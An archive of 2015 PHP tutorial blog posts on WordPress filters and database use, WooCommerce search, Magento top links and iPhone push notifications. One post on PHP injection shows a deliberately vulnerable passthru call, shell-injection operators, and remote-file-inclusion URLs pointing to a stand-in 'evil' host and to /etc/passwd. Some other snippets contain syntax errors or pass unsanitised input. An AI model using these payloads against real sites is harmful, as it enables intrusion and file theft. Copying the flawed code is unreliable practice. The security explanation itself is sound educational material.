Friday, May 22, 2015

Use of add filter and apply filters in wordpress


Both add_filter and apply_filters are functions that let us make changes to a themes or templates without editing the file. Below are few example :

Filterable for any text

Sometime in our theme, we have a string of text like ‘Feature’, ‘Best Selling’ or ‘Related activity’ that we want able to change without edit the template.


echo apply_filters('prefix_feature_text', 'Feature');
Users just need to add this to child theme function to change it

function prefix_myfeature_text() {
return 'My Custom feature Text';
}
add_filter('prefix_feature_text','prefix_myfeature_text');
Now the ‘Feature’ text will change to ‘My Custom feature Text’.

Filterable for change content to excerpt

echo apply_filters('prefix_the_content',get_the_content());
if we want to change the full post content to excerpt post only, we can add this to our child theme functions.php

function prefix_edit_content() {
return get_the_excerpt();
}

add_filter('prefix_the_content','prefix_edit_content');
now any code that wrapped with apply_filters(‘prefix_the_content’,FUNCTIONS) will change to excerpt text rather than full content.

code that use echo the_content(); will not be affected.

Filterable for featured image thumbnails

instead of using the default the_post_thumbnail(‘thumbnail’), we could try use this


$thumb = get_post_thumbnail_id( $post->ID ), 'thumbnail');

$thumb = apply_filters('prefix_my_thumb',$thumb);

echo $thumb;

so when we want to change ‘thumbnail’ to ‘medium’ in child theme, we can add this code to child theme functions


function prefix_edit_thumbnail() {

global $post;

return get_post_thumbnail_id( $post->ID ), 'medium');

}

add_filter('prefix_my_thumb','prefix_edit_thumbnail');

Now all the effected the_post_thumbnail() will change from using ‘thumbnail’ to ‘medium’ for their featured images.

Friday, May 15, 2015

Working with post metadata in wordpress


What is post metadata
Post metadata is data that’s saved in the wp_postmeta table in the database. Each entry is saved as four fields in this table:

  • meta_id: A unique ID for this specific metadata.
  • post_id: The post ID this metadata is attached to.
  • meta_key: A key used to identify the data
  • meta_value: The value of the metadata.

In the following screenshot, we can see how this looks in the database.


















Metadata is just key/value pairs saved for a specific post. This allows us to add all sorts of custom data to our posts. It is especially useful when we are developing custom post types.

Following function are used to add/edit/delete/select meta data.


Friday, May 8, 2015

How to work with WordPress Database Table

Creating a WordPress Custom Database Table

Once we've decided that a custom table is necessary, we need to create the table. Before we do that we'll store the name of our custom table in $wpdb. This global contains all the information pertaining to the database for the current blog (it will change from site to site, when using multi-site). We'll add our table name to this global. 

add_action( 'init', 'wptuts_register_activity_log_table', 1 );
add_action( 'switch_blog', 'wptuts_register_activity_log_table' );
 
function wptuts_register_activity_log_table() {
    global $wpdb;
    $wpdb->wp_activity_log = "{$wpdb->prefix}wp_activity_log";
}
The above code uses $wpdb->prefix to add a prefix to the table name. The prefix is by default wp_ but can be altered by the user in wp-config.php. This is necessary when you might have more than one WordPress install using the same database, but may also be changed for other reasons. As such we can not assume the prefix is wp_. As with functions, classes and settings etc, we should ensure our table name is unique.


Pulling Data Back with $wpdb Query
WordPress uses the $wpdb class to access data within the WordPress database (and the table we just created). 
To start off we’ll set $wpdb as a global so we can access the database and then using $wpdb we’ll run the get_results function to pull all our table’s data into an array called $results and print them to the screen:
<?php
global $wpdb;
$results = $wpdb->get_results("SELECT * FROM wp_activity_log");
print_r($results);
?>
We can use this code example to list out any rows we might be pulling back into our ‘$results’ array. If we only want to pull a specific row or column we can use get_row() or get_col() .
Adding to the WordPress Database with $wpdb Insert
The code example below adds a new activity to the ‘wp_activity_log’ table. The insert function includes the table name, an array of data to enter, and the format the data is in. The first array begins with a column name (‘name’) and then inserts a variable into it ($activity_name). These could also be values themselves instead of variables, but in most cases we’ll be using variables that we captured via a form. The second array contains the variable type for each column inserted into the row. In this example, the first two are strings (%s) and the second two are numbers (%d). We could also have a floating point number (%f).
global $wpdb;

$activity_name = 'Toby';
$activity_for = 'boy';
$category1 = 1;
$category2 = 0;

$wpdb->insert('wp_activity_log',
     array(
          'name'=>$activity_name,
          'gender'=>$activity_for,
          'category1'=>$category1,
          'category2'=>$category2
     ),
     array( 
          '%s',
          '%s',
          '%d',
          '%d'
     )
);

Friday, May 1, 2015

PHP Security : SQL and Remote Code Injection

SQL injection

SQL injection is a technique for injecting code in a data-driven application. In this technique, malicious SQL statements are entered into an input field for execution. It exploits the security of application software. It is commonly and mostly used for attacking the application layer. After being successful, a hacker will get a clear channel to communicate with the database.

Suppose we are filling a form and one of the input fields are not properly validated. If a hacker injects some other malicious SQL command that will provide extra information from the database, it will ultimately provide a clear channel for communication with the database.

Shell Injection

Shell Injection is an attack that allows a PHP script to programmatically execute a command line. Consider the following short PHP program, which runs an external program called funny text to replace a word the user sent with some other word:

<?php
 passthru("/home/user/php/funnytext ". $_GET['USER_INPUT'] );
?>

This program can be injected in multiple ways:

'command' will execute command.
$(command) will execute command.
; command will execute command, and output result of command.
| command will execute the command.
&& command will execute the command, and output the result of the command.
|| command will execute the command, and output the result of the command.
> /home/user/php/.bashrc will overwrite the file .bashrc.
< /home/user/php/.bashrc will send the file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods.

Ways to prevent code injection attacks

The ways to prevent code injection attacks are as follows:
Perform input validation.
Escape dangerous characters. For instance, in PHP, using the htmlentities() function to protect general inputs into the Web application, and mysql_real_escape_string() to protect inputs, which will be included in a SQL request, to protect against SQL Injection.
Perform input encoding.
Perform output encoding.
Perform modular shell disassociation from kernel.
Remote File Inclusion
Remote File Inclusion is a vulnerability that is most often found on Web sites. It permits an attacker for including a remote file on a web server in the form of a script. The vulnerability takes place because of the usage of the data supplied by the user without any proper validation. This can cause the following:
Execution of code on client-system via JavaScript that can lead to attacks such as cross-site scripting.
Execution of code on the web server.
Denial of Service (DoS)
Data Theft or Manipulation

In PHP, it can be easily caused due to the continuous usage of external variables such as $_POST, $_GET, $_COOKIE, etc. with a file system method, more often due to the statements like include and require. The vulnerabilities are mainly contributed due to new developers, who are not as such familiar with the capabilities of the PHP programming language. In PHP, there is a directive, known as allow_url_fopen, which, when enabled, allows file system functions to use a URL and allow them to query data from remote locations. An attacker can alter a variable that is passed to one of these functions, and in return cause the inclusion of malicious code from a remote resource. Therefore, for protection, every user input should be validated before being used.

Example

Consider the following code:

<?php
 $color = 'blue';
 if (isset( $_GET['COLOR'] ) )
 $color = $_GET['COLOR'];
 require( $color . '.php' );
?>

For the PHP script given above, the following HTML code needs to be submitted:

<form method="get">
 <select name="COLOR">
  <option value="red">red</option>
  <option value="blue">blue</option>
 </select>
 <input type="submit">
</form>

The developer developed the code with an intension that only blue.php and red.php should be used as options. However, any arbitrary value can be easily inserted in COLOR; it is possible to inject code from files:
/vulnerable.php?COLOR=http://evil/exploit? - It can inject a remotely hosted file that contains an exploit.
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - It can execute code from an already uploaded file with the name exploit.php.
/vulnerable.php?COLOR=../../../../../../../../etc/passwd - It permits an attacker to read the contents of the passwd file on a UNIX system directory traversal.

Command injection attack
A command injection attack is used to inject and execute commands specified by the attacker in a vulnerable application. The application, which executes unwanted system commands, is like a virtual system shell. The attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker.

Include file injection attack
In the include file injection attack, a malicious user injects a remotely hosted file containing an exploit. Consider this PHP program (which includes a file specified by request):

<?php
 $color = 'blue';
 if (isset( $_GET['COLOR'] ) )
 $color = $_GET['COLOR'];
 require( $color . '.php' );
?>

<form method="get">
 <select name="COLOR">
  <option value="red">red</option>
  <option value="blue">blue</option>
 </select>
 <input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. However, as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
/vulnerable.php?COLOR=http://evil/exploit? - Injects a remotely hosted file containing an exploit.
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php.
/vulnerable.php?COLOR=../../../../../../../../etc/passwd - Allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
/vulnerable.php?COLOR=C:\\notes.txt - Uses NULL meta character to remove the .php suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On" would stop this attack)

escapeshellcmd() function
The escapeshellcmd() function escapes all of the shell metacharacters and control operators within a string. It decreases the risks involved in allowing user input to be passed to the shell, by escaping all metacharacters and control operators with backslashes. Hence, it is used to overcome command injection attacks.

escapeshellarg() function
The escapeshellarg() function is used to convert a scalar value into a single-quote delimited string that can be used safely as a single argument for a shell command. It converts the existing single quotes (') value to the '\''. In this way, this sequence temporarily ends the single-quoted string and inserts a literal single quote, and then resumes the string. Since the data passed through escapeshellarg() can safely be used as a single argument, it can be used to mitigate the command injection attack.

mysqli_real_escape_string
The mysqli_real_escape_string is used to escape the special characters in a string for use in an SQL statement, taking into account the current charset of the connection.

Friday, April 24, 2015

Customizing product search with meta key in wordpress woocommerce

Suppose we have a custom fields like price, color etc in woocommerce product. How we will include these fields in wordpress search? Below is the step to include these keywords in wordpress search.

Make an array like below for meta search.

$args = array(
'post_type'=>'product',
'posts_per_page' => -1,
'order' => 'ASC',
'meta_query' => array(
'relation' => 'OR',
array(
'key' => 'price',               //your meta key
'value' => $_GET['price'],  //your search post value
'compare' => '='
)
)
);

Instead of =, we can use LIKE ,> or < etc.

$the_query = new WP_Query( $args ); // make query in wordpress
$q1 = $the_query->get_posts(); get all product with search.

Make an array like below to include normal search in wordpress:

$args2 = array(
'post_type'=>'product',
's' => $_GET['s'],

);


$the_query2 = new WP_Query( $args2 );
$q2 = $the_query2->get_posts(); // get all product whose title are related to the fields value.

Now merge both the result :
$merged = array_merge( $q1, $q2 );

and get the post id of all product in a array, like below :

$post_ids = array();
foreach( $merged as $item ) {
$post_ids[] = $item->ID;
}

Now get the unique id from above array.
$unique = array_unique($post_ids);

Now again make a query with these ids

$args3 = array(
'post_type'=>'product',
'post__in' => $unique,
'post_status' => 'publish',

);
$the_query3 = new WP_Query( $args3 );

Now we can use normal wordpress function to get product detail:

<?php
if ( $the_query3->have_posts() ) {
while ( $the_query3->have_posts() ) : $the_query3->the_post();
// product detail goes here.
endwhile; // end of the loop.
} // end of if
?>

Friday, April 17, 2015

How to manage and improve Top Links in Magento



Top Links is one of the basic blocks in Magento that allows to create a personal area for the customer within our online store. Top Links includes: Login/Logout, My Account, My Wishlist, My Cart and Checkout links. By default Top links are located in the header, but they can be moved wherever we want if it’s needed.
One of the most important differences between top links and regular static links is that when we add products to the cart or to our wishlist, top links automatically records products which were added.
Example of Top links in the default  Magento theme in the header.
Usage of Top links in Magento
At first we have to call the block.
<?php echo this->getChildHtml(‘topLinks’) ?>
in template template/page/html/header.phtml, but creates in page.xml
<block type=”page/html_header” name=”header” as=”header”>
<block type=”page/template_links” name=”top.links” as=”topLinks”/>
<block type=”core/text_list” name=”top.menu” as=”topMenu”/>
</ block>
Now we need to add links to this block by using the command:
<action method=”addLink” translate=”label title” >…</action>
We gotta make it in the following XML files:
  • Login/Logout, My Account – customer.xml
  • My Cart and Checkout – checkout.xml
  • My Wishlist – wishlist.xml
It should be noted that link to  My Cart calls by the command:
<action method=”addCartLink”></action>
and <action method=”addCheckoutLink”></action> for Checkout link.

How to edit «Top Links» in Magento.

All top links are based on a template which is located here: page/template/links.phtml. Here we can add additional classes or commit needed changes.
Often people want to use separate links. For example Login/Logout and My Account should be on the left side and My Wishlist, My Cart and Checkout on the right side.
Something like on the example below
It is very easy to do:
Open page.xml and create another block there, almost identical to “topLinks” but with name  “topLinksLeft”;
<block type=”page/html_header” name=”header” as=”header”>
<block type=”page/switch” name=”store_language” as=”store_language” template=”page/switch/languages.phtml”/>
<block type=”core/text_list” name=”top.menu” as=”topMenu”/>
<block type=”page/template_links” name=”top.links” as=”topLinks”/>
topLinksLeft”/>
</ block>
In template template/page/html/header.phtml with help of the command:
php echo this->getChildHtml(‘topLinksLeft’) ?>
we can call our block in the proper place
 <div>
<h1 id=”logo” title=”<?php echo $this->getLogoAlt() ?>” style=”background-image:url(<?php echo $this->getLogoSrc() ?>);”><a href=”<?php echo $this->getUrl(”) ?>”><?php echo $this->getLogoAlt() ?></a></h1>
<div><?php echo $this->getChildHtml(‘topLinksLeft’) ?></div>
<?php echo $this->getChildHtml(‘topLinks’) ?>
<?php echo $this->getChildHtml(‘topMenu’) ?>
</div>
  • When we have done this, open customer.xml  where we have to change the name of the block which is responsible for Login/Logout, My Account. We are changing its name from “top.links” on “top.links.left” as in example:
<customer_logged_in>
<reference name=”top.links.left”>
<action method=”addLink” translate=”label title” module=”customer”><label>My Account</label><url helper=”customer/getAccountUrl”/><title>My Account</title><prepare/><urlParams/><position>10</position></action>
</reference>
<reference name=”top.links.left”>
<action method=”addLink” translate=”label title” module=”customer”><label>Log Out</label><url helper=”customer/getLogoutUrl”/><title>Log Out</title><prepare/><urlParams/><position>100</position></action>
</reference>
</customer_logged_in>
We also can assign other template to the links on the left ( rather useful in some cases) For that we just have to duplicate  template “page/template/links.phtml” and call it links_left.phtml. So now we have 2 templates “links.phtml” for the right side and “links_left.phtml” for the left side. Now all we need to do is just connect it. For connection we use block «topLinksLeft» page.xml and change it to links_left.phtml.
<block type=”page/html_header” name=”header” as=”header”>
<block type=”page/template_links” name=”top.links” as=”topLinks”/>
<block type=”page/template_links” name=”top.links.left” as=”topLinksLeft” template=”page/template/links_left.phtml” />
</ block>
Now you can apply different styles and HTML for the left and the right side.
 Wow, almost forgot about “Register” button which is usually located near the “Login/Logout” button. No worries about that as well. As you can already guess we start from customer. xml file where we do next, if we want to add “Register” button to the top links:
<customer_logged_out>
<reference name=”top.links”>
<action method=”addLink” translate=”label title” module=”customer”> <label> Log In </ label> <url helper=”customer/getLoginUrl”/> <title> Log In </ title> <prepare /> <urlParams/> <position> 100 </ position> </ action>
<action method=”addLink” translate=”label title” module=”customer”> <label> register </ label> <url helper=”customer/getRegisterUrl”/><title>register</title><prepare/><urlParams/><position>10</position></action>
</ reference>
</ customer_logged_out>

Friday, March 27, 2015

Send a notification on iPhone

First of all we need 3 things as mentioned:

1. Our iPhone's device token
2. .pem file for iPhone
3. Its passphrase.

Now use following code:

        $deviceToken = 'enter_your_device_token';
        $passphrase = 'enter_your_passphrase';
        $message = 'enter_your_notification_message';

        $badge = 1;
        $ctx = stream_context_create();
        stream_context_set_option($ctx, 'ssl', 'local_cert', 'path_to_pem_file.pem');
        stream_context_set_option($ctx, 'ssl', 'passphrase', $passphrase);

        // Open a connection to the APNS server
        $fp = stream_socket_client(
            'ssl://gateway.sandbox.push.apple.com:2195', $err,
            $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $ctx);
        if (!$fp)
            exit("Failed to connect: $err $errstr" . PHP_EOL);
        echo 'Connected to APNS' . PHP_EOL;

        // Create the payload body
        $body['aps'] = array(
            'alert' => $message,
            'badge' => $badge,
            'sound' => 'newMessage.wav'
        );

        // Encode the payload as JSON
        $payload = json_encode($body);

        // Build the binary notification
        $msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;

        // Send it to the server
        $result = fwrite($fp, $msg, strlen($msg));

        if (!$result)
            echo 'Error, notification not sent' . PHP_EOL;
        else
            echo 'notification sent!' . PHP_EOL;

        // Close the connection to the server
        fclose($fp);


Thanks.